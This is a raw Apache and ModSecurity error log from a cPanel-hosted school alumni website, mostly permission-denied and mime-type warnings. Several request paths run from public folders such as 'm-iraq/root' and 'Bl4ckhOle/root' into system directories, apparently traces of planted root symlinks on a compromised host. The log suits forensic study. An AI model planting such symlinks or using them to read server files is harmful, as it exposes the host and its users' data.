[Fri Jul 17 08:12:35.039541 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/firmware/nvidia/tegra186/vic.bin"] [unique_id "almWm0hq6UAnqYko0LpURAAAABE"]
[Fri Jul 17 08:12:35.039582 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/firmware/nvidia/tegra186/vic.bin"] [unique_id "almWm0hq6UAnqYko0LpURAAAABE"]
[Fri Jul 17 08:12:36.193455 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:36.224534 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:36.392346 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:36.550318 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:37.465002 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/dracut/modules.d/03modsign/module-setup.sh"] [unique_id "almWnYl9vhFBGA6D8l9zewAAAAw"]
[Fri Jul 17 08:12:37.465067 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/dracut/modules.d/03modsign/module-setup.sh"] [unique_id "almWnYl9vhFBGA6D8l9zewAAAAw"]
[Fri Jul 17 08:12:38.511956 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 57.141.18.21:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory94/node0/cpu1/node0/cpu2/node0/memory48/subsystem/uevent
[Fri Jul 17 08:12:43.395887 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:43.444351 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1009/1783501099.snapshot"] [unique_id "almWoxAi3pC6yjXGNq16awAAAAU"]
[Fri Jul 17 08:12:43.444391 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1009/1783501099.snapshot"] [unique_id "almWoxAi3pC6yjXGNq16awAAAAU"]
[Fri Jul 17 08:12:43.762800 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:45.049919 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:45.974024 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:46.251333 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:46.429727 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:46.612936 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:46.704103 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:46.795741 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:47.434191 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:47.465925 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/pcre2-devel/html/pcre2_set_glob_escape.html"] [unique_id "almWp1xP5-SsqbGuGB2iJwAAAAA"]
[Fri Jul 17 08:12:47.465973 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/pcre2-devel/html/pcre2_set_glob_escape.html"] [unique_id "almWp1xP5-SsqbGuGB2iJwAAAAA"]
[Fri Jul 17 08:12:47.724116 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:47.908565 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:48.008585 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:48.182343 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/driver/cpu3/hotplug/state"] [unique_id "almWqHf2WrySr2miwA70uwAAABY"]
[Fri Jul 17 08:12:48.182395 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/driver/cpu3/hotplug/state"] [unique_id "almWqHf2WrySr2miwA70uwAAABY"]
[Fri Jul 17 08:12:48.546620 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:48.727876 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:48.819613 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:48.912561 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:48.912631 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:48.912669 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:49.002770 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty48/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 08:12:49.094143 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:49.248622 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:49.276267 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty6/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 08:12:49.380892 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:49.467221 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:49.649426 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:49.832926 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:50.015794 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:50.108027 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:50.288724 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:50.337173 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty13/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 08:12:50.572862 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:50.745710 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:51.017800 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:51.290373 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:51.471747 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:51.745985 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:51.835842 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:51.927396 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.021146 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.108567 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.199682 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.299989 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.300099 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.300147 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.383736 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.474362 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.565412 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.565491 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.565520 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.750967 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.751078 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.751128 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:52.840763 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:53.024177 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:53.115418 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:53.492321 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:53.529942 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:53.665081 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:53.686235 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:53.812890 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:53.842991 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:54.024834 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:54.207017 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:54.298013 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:54.387735 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:54.854451 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:54.939787 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:54.998066 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/pcre2-devel/html/pcre2_match.html"] [unique_id "almWrqUJv0yl2bIgVrkKpQAAABU"]
[Fri Jul 17 08:12:54.998094 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/pcre2-devel/html/pcre2_match.html"] [unique_id "almWrqUJv0yl2bIgVrkKpQAAABU"]
[Fri Jul 17 08:12:55.851924 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:56.037053 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:56.585358 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:56.765244 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:56.855783 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:56.948239 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:57.039345 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:57.224305 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:57.680704 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:58.044791 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:58.231849 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:58.321905 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:58.335461 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWshAi3pC6yjXGNq16egAAAAU"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:12:58.335492 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWshAi3pC6yjXGNq16egAAAAU"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:12:58.412665 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:58.504621 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:58.596325 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:58.686152 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:58.787742 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:58.871779 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:58.960145 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:59.050466 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:59.143161 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:59.234080 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:59.416658 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:59.688847 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:59.873201 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:12:59.901438 2026] [security2:error] [pid 1994966:tid 1994966] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWs7yEqmgiTSUa55oFNwAAABA"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:12:59.901469 2026] [security2:error] [pid 1994966:tid 1994966] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWs7yEqmgiTSUa55oFNwAAABA"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:12:59.963407 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:00.054013 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:00.150983 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:00.331314 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:00.418640 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:00.509405 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:00.600508 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:00.694426 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:00.787569 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:00.877700 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:01.064856 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:01.156563 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:01.257397 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:01.349519 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/driver/cpu3/node0/compact
[Fri Jul 17 08:13:01.398748 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:55780] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:13:01.437718 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:01.527715 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:01.622664 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:01.711245 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:01.801802 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:01.891912 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:02.077933 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:02.168648 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:02.372523 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:02.441485 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:02.535586 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:02.628535 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:02.717224 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:02.812075 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:02.905252 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:03.058225 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:03.149056 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:03.244400 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:03.272291 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:03.362282 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:03.403064 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:55836] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:13:03.454719 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:03.560633 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:03.654011 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:03.658027 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:55844] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:13:03.728255 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:03.937177 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:04.100348 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:04.191125 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:04.284219 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:04.375089 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:04.473747 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:04.586435 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:04.667340 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:04.760779 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:04.849424 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:04.940321 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:05.032130 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:05.125562 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:05.216116 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:05.414146 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:05.506175 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:05.599383 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:05.688735 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:05.780120 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
